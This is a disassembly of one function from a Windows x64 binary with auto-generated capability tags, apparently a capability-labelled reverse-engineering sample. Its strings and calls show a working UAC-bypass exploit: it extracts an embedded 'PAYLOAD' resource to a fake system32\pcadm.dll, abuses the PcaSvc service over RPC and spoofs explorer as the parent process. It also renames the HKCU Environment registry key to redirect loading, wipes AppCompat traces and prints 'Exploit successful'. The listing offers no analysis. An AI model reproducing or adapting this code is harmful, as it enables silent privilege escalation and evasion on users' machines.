Function at 0x1400016d0
Capabilities:
Create directory
Create process on windows
Delete directory
Delete file
Delete registry value
Extract resource via kernel32 functions
Get common file path
Get explorer pid
Query service status
Resume thread
Set registry value
Spoof parent pid
Start service
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x4e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4d0], rax
mov rax, qword [rdx]
movzx ecx, word [rax]
cmp cx, 0x30
jne 0x14000179b
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001790
lea rdx, str.EtwEventWriteNoRegistration
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001790
lea r9, [0x140005988]
mov r8d, 3
lea rdx, [0x140008078]
lea rcx, [0x140005960]
call rbx
test eax, eax
jne 0x140001d6b
mov eax, 0x1f48
mov word [0x140008078], ax
lea r9, [0x140005988]
mov r8d, 3
lea rdx, [0x140008078]
lea rcx, [0x140005960]
call rbx
jmp 0x140001d6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001d6b
cmp cx, 0x31
jne 0x1400017b3
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x140001d6b
cmp cx, 0x32
jne 0x1400019fb
lea r8, str.ByeIntegrity8Delete
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_OpenEventW]
mov rsi, rax
test rax, rax
jne 0x1400017f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x1400019e6
movzx ebx, ax
or ebx, 0x80070000
jmp 0x1400019e6
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
js 0x1400019e6
xor edi, edi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x118], rdi
lea rax, [rsp + 0x128]
mov qword [rsp + 0x20], rax
lea r9, [0x140004430]
xor edx, edx
mov r8d, 1
lea rcx, [0x140004440]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
test eax, eax
js 0x14000199e
movups xmm1, xmmword [0x140005970]
movaps xmmword [rsp + 0xb0], xmm1
movsd xmm0, qword [0x140005980]
movsd qword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xd0], xmm1
movsd qword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xf0], xmm1
movsd qword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x180], xmm1
movsd qword [rsp + 0x190], xmm0
mov rcx, qword [rsp + 0x128]
mov rax, qword [rcx]
lea rdx, [rsp + 0xb0]
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x180]
call qword [rax + 0x50]
mov ebx, eax
test eax, eax
js 0x14000199e
lea rcx, str.MicrosoftWindowsWDI
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
test rax, rax
je 0x14000199e
mov rcx, qword [rsp + 0x128]
mov r9, qword [rcx]
lea r8, [rsp + 0x130]
mov rdx, rax
call qword [r9 + 0x38]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test ebx, ebx
js 0x14000199e
lea rcx, str.ResolutionHost
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
test rax, rax
je 0x14000199e
mov rcx, qword [rsp + 0x130]
mov r9, qword [rcx]
lea r8, [rsp + 0x118]
mov rdx, rax
call qword [r9 + 0x68]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test ebx, ebx
js 0x14000199e
mov rcx, qword [rsp + 0x118]
mov rax, qword [rcx]
lea rdx, [rsp + 0x22c]
call qword [rax + 0x48]
mov ebx, eax
test eax, eax
js 0x14000199e
cmp dword [rsp + 0x22c], 4
jne 0x14000199e
mov rcx, qword [rsp + 0x118]
mov rax, qword [rcx]
xor edx, edx
call qword [rax + 0xb8]
mov ebx, eax
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x1400019b1
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x130]
test rcx, rcx
je 0x1400019c4
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x1400019d7
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEvent]
call qword [sym.imp.ole32.dll_CoUninitialize]
test rsi, rsi
je 0x1400019f4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x140001d6b
mov r15d, 1
mov dword [rsp + 0x22c], r15d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x150], xmm0
xor edi, edi
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x130], rdi
mov byte [rsp + 0x51], dil
mov byte [rsp + 0x50], dil
mov byte [rsp + 0x56], dil
mov qword [rsp + 0x118], rdi
xor r13b, r13b
movzx r12d, r15b
mov byte [rsp + 0x52], r15b
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x168], rdi
mov ebx, edi
mov esi, edi
mov qword [rsp + 0x140], rdi
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x60], rdi
mov r14d, edi
cmp dword [0x7ffe026c], 6
jne 0x140001aaa
cmp dword [0x7ffe0270], r15d
jne 0x140001aaa
mov dword [rsp + 0x228], 0x31
xor r12b, r12b
mov byte [rsp + 0x52], r12b
jmp 0x140001ab5
mov dword [rsp + 0x228], 0x30
mov qword [rsp + 0x218], rdi
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x6c], eax
test eax, eax
jns 0x140001aeb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CoInitializeEx___failed._Error:__lu_n
call fcn.140001010
jmp 0x140001c2b
lea r8, str.PAYLOAD
mov edx, 0x65
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
jne 0x140001b28
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.FindResourceW___failed._Error:__lu_n
call fcn.140001010
mov rsi, rbx
jmp 0x140001c2b
mov rdx, rsi
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001b59
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LoadResource___failed._Error:__lu_n
call fcn.140001010
mov rsi, rbx
jmp 0x140001c2b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
jne 0x140001b89
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LockResource___failed._Error:__lu_n
call fcn.140001010
mov rsi, rbx
mov r14, rbx
jmp 0x140001c2b
lea rcx, str.system32pcadm.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor edx, edx
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140001bd2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateDirectoryW___failed._Error:__lu_n
call fcn.140001010
mov rsi, rbx
mov r14, rbx
jmp 0x140001c2b
mov byte [rsp + 0x51], r15b
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, r15d
mov edx, 2
lea rcx, str.system32pcadm.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001d9d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFileW___failed._Error:__lu_n
call fcn.140001010
mov rbx, rdi
mov rsi, rdi
mov r14, rdi
cmp qword [rsp + 0x140], 0
je 0x140001c44
lea rcx, [rsp + 0x140]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x140001c57
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x150]
test rcx, rcx
je 0x140001c6a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x168]
test rcx, rcx
je 0x140001c7d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x140001c8b
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140001c9e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x128]
test rax, rax
je 0x140001cb4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rax, qword [rsp + 0x130]
test rax, rax
je 0x140001cca
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x118]
test rdi, rdi
je 0x140001ceb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rsi, rsi
je 0x140001cf9
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test rbx, rbx
je 0x140001d07
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [rsp + 0x50], 0
je 0x140001d1b
lea rcx, str.system32pcadm.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp byte [rsp + 0x51], 0
je 0x140001d2f
lea rcx, str.system32
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
cmp byte [rsp + 0x56], 0
je 0x140001d44
mov rcx, qword [rsp + 0x218]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
cmp qword [rsp + 0x218], 0
je 0x140001d68
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x218]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, r15d
mov rcx, qword [rsp + 0x4d0]
xor rcx, rsp
call fcn.140002980
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov byte [rsp + 0x50], r15b
mov rdx, rsi
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x230]
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
jne 0x140001def
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteFile___failed._Error:__lu_n
jmp 0x140001c1d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, r15b
call fcn.140001460
test eax, eax
js 0x140001c22
mov r8d, r15d
lea rdx, str.ServicesActive
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0xa0], rax
test rax, rax
jne 0x140001e46
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenSCManagerW___failed._Error:__lu_n
call fcn.140001010
jmp 0x140001c25
mov r8d, 0x14
lea rdx, str.PcaSvc
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
mov qword [rsp + 0x90], rax
test rax, rax
jne 0x140001e85
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenServiceW___failed._Error:__lu_n
call fcn.140001010
jmp 0x140001c28
lea rdx, [rsp + 0x238]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x140001eb3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.QueryServiceStatus___failed._Error:__lu_n
call fcn.140001010
jmp 0x140001c28
cmp dword [rsp + 0x23c], 4
je 0x140001ee8
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x140001ee8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.StartServiceW___failed._Error:__lu_n
call fcn.140001010
jmp 0x140001c28
mov dword [rsp + 0x138], 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rsp + 0x138]
lea r8, [rsp + 0x2c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
test eax, eax
jne 0x140001f31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.QueryFullProcessImageNameW___failed._Error:__lu_n
call fcn.140001010
jmp 0x140001c28
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ebx, eax
mov dword [rsp + 0x120], ebx
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x98], rax
test rax, rax
je 0x140002949
mov rdx, rax
mov ecx, dword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x140001fa9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetCurrentDirectoryW___failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c28
mov eax, dword [rsp + 0x138]
lea eax, [rax*2 + 2]
lea rcx, [0x140004f28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov rcx, 0xffffffffffffffff
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x14000200f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFileMappingW___failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c28
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x140002058
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.MapViewOfFile___failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c28
mov r8d, dword [rsp + 0x138]
lea r8, [r8*2 + 2]
lea rdx, [rsp + 0x2c0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [0x140004ff8]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x88], rax
test rax, rax
jne 0x1400020bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateEventW____0__failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c28
lea r9, str.ByeIntegrity8Delete
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r14, rax
mov qword [rsp + 0x80], rax
test rax, rax
jne 0x1400020fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateEventW____1__failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1b4], xmm0
movups xmmword [rsp + 0x1c4], xmm0
movups xmmword [rsp + 0x1d4], xmm0
movups xmmword [rsp + 0x1e4], xmm0
movups xmmword [rsp + 0x1f4], xmm0
movups xmmword [rsp + 0x204], xmm0
mov dword [rsp + 0x214], eax
mov dword [rsp + 0x1b0], 0x70
test r12b, r12b
je 0x140002292
lea r9, [rsp + 0x170]
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
jne 0x140002191
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140002191
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InitializeProcThreadAttributeList____0__failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, qword [rsp + 0x170]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x218], rax
test rax, rax
je 0x140002313
lea r9, [rsp + 0x170]
xor r8d, r8d
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
jne 0x1400021f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InitializeProcThreadAttributeList____1__failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
call qword [sym.imp.USER32.dll_GetShellWindow]
mov rcx, rax
lea rdx, [rsp + 0x220]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x220]
test r8d, r8d
je 0x1400022f5
xor edx, edx
mov ecx, 0x80
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x168], rax
test rax, rax
je 0x1400022d7
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x168]
xor edx, edx
mov r8d, 0x20000
mov rcx, qword [rsp + 0x218]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
jne 0x14000228d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.UpdateProcThreadAttribute___failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
mov byte [rsp + 0x56], r15b
lea rcx, [rsp + 0x258]
call fcn.1400010d0
lea r8, [rsp + 0x258]
lea rdx, str.Environment
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test eax, eax
je 0x140002331
mov edx, eax
lea rcx, str.RegRenameKey___failed._LSTATUS:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess___failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetWindowThreadProcessId___failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HeapAlloc____1__failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
mov eax, dword [rsp + 0x120]
add eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, r15d
lea r8, [0x140005380]
lea rdx, [rsp + 0x258]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov ebx, eax
lea r8, str.Environment
lea rdx, [rsp + 0x258]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegRenameKey]
test ebx, ebx
je 0x14000239c
mov edx, ebx
lea rcx, str.RegSetKeyValueW___failed._LSTATUS:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
lea rax, [rsp + 0x150]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8080004
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140002425
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessW___failed._Error:__lu_n
call fcn.140001010
lea r8, [0x140005380]
lea rdx, str.Environment
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueW]
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
mov qword [rsp + 0x110], rdi
mov dword [rsp + 0x220], 0x44
lea rax, [rsp + 0x148]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ncalrpc
lea rcx, str.0767a036_0d22_48aa_ba69_b619480f38cb
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov ebx, eax
test eax, eax
je 0x140002476
lea rcx, str.RpcStringBindingComposeW___failed._Error:__ld_n
jmp 0x14000258e
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x148]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov ebx, eax
lea rcx, [rsp + 0x148]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test ebx, ebx
je 0x1400024ae
mov edx, ebx
lea rcx, str.RpcStringBindingComposeW___failed._Error:__ld_n
jmp 0x140002590
mov edx, 0xc
mov r8d, 0xc8
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetOption]
mov ebx, eax
test eax, eax
je 0x1400024d9
lea rcx, str.RpcBindingSetOption___failed._Error:__ld_n
jmp 0x14000258e
lea r9, [rsp + 0x220]
lea r8, [rsp + 0x270]
xor edx, edx
mov ecx, 0x16
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
mov ebx, eax
test eax, eax
jne 0x14000250e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.CreateWellKnownSid___failed._Error:__lu_n
jmp 0x14000258e
mov dword [rsp + 0x188], edi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x190], xmm0
mov dword [rsp + 0x180], 3
mov dword [rsp + 0x18c], 3
mov dword [rsp + 0x184], r15d
lea rax, [rsp + 0x270]
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor edx, edx
mov r9d, 0xa
mov r8d, 6
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov ebx, eax
test eax, eax
je 0x1400025b7
lea rcx, str.RpcBindingSetAuthInfoExW___failed._Error:__ld_n
mov edx, eax
call fcn.140001010
cmp qword [rsp + 0x110], rdi
je 0x1400025ad
lea rcx, [rsp + 0x110]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
mov r9, qword [rsp + 0x140]
jmp 0x1400025c9
mov r9, qword [rsp + 0x110]
mov qword [rsp + 0x140], r9
mov ebx, edi
test ebx, ebx
je 0x1400025f0
mov edx, ebx
lea rcx, str.BiCreatePcaRpcBinding___failed._Error:__010x_n
call fcn.140001010
xor edx, edx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140002400
test r12b, r12b
je 0x140002764
mov dword [rsp + 0x48], edi
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
lea rcx, [0x140005b70]
call qword [sym.imp.RPCRT4.dll_NdrClientCall3]
mov rbx, rax
mov qword [rsp + 0x148], rax
mov dword [rsp + 0x68], ebx
test ebx, ebx
je 0x140002679
xor edx, edx
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, ebx
lea rcx, str.RAiMonitorProcess___failed._Error:__ld_n
jmp 0x140002878
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rsp + 0x120]
test edx, edx
je 0x1400027c5
lea rcx, str.Trigger_process_exited_with_error_code:__010x_n
jmp 0x140002878
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r15d
lea r9, [rsp + 0x2c0]
mov r8, qword [rsp + 0x140]
lea rdx, [0x1400059c2]
lea rcx, [0x140005a00]
call qword [sym.imp.RPCRT4.dll_NdrClientCall2]
mov qword [rsp + 0x148], rax
mov dword [rsp + 0x68], eax
test eax, eax
je 0x1400027c5
mov edx, eax
lea rcx, str.RAiNotifyUserCallbackExceptionProcess___failed._Error:__ld_n
jmp 0x140002878
mov edx, 0x4e20
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1400027ec
mov edx, dword [rsp + 0x6c]
lea rcx, str.Diagnostic_module_task_did_not_launch__exit_properly._HRESULT:__010x_n
jmp 0x140002878
mov r13b, 1
jmp 0x14000287d
call fcn.140001010
lea r8, [0x140005380]
lea rdx, str.Environment
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueW]
lea r8, [rsp + 0x2c0]
test r12b, r12b
jne 0x1400028ca
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueW]
lea r8, [rsp + 0x2c0]
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
jmp 0x1400028d1
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyValueW]
test r13b, r13b
je 0x140002931
mov edx, 0xf
mov rbx, qword [rsp + 0xa8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140005928]
call fcn.140001010
mov edx, 0xe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str.Exploit_successful_n
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__putws]
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r15d, edi
mov edx, 0x4e20
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x58]
jmp 0x140001c2b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HeapAlloc____0__failed._Error:__lu_n
call fcn.140001010
mov rbx, qword [rsp + 0x58]
jmp 0x140001c28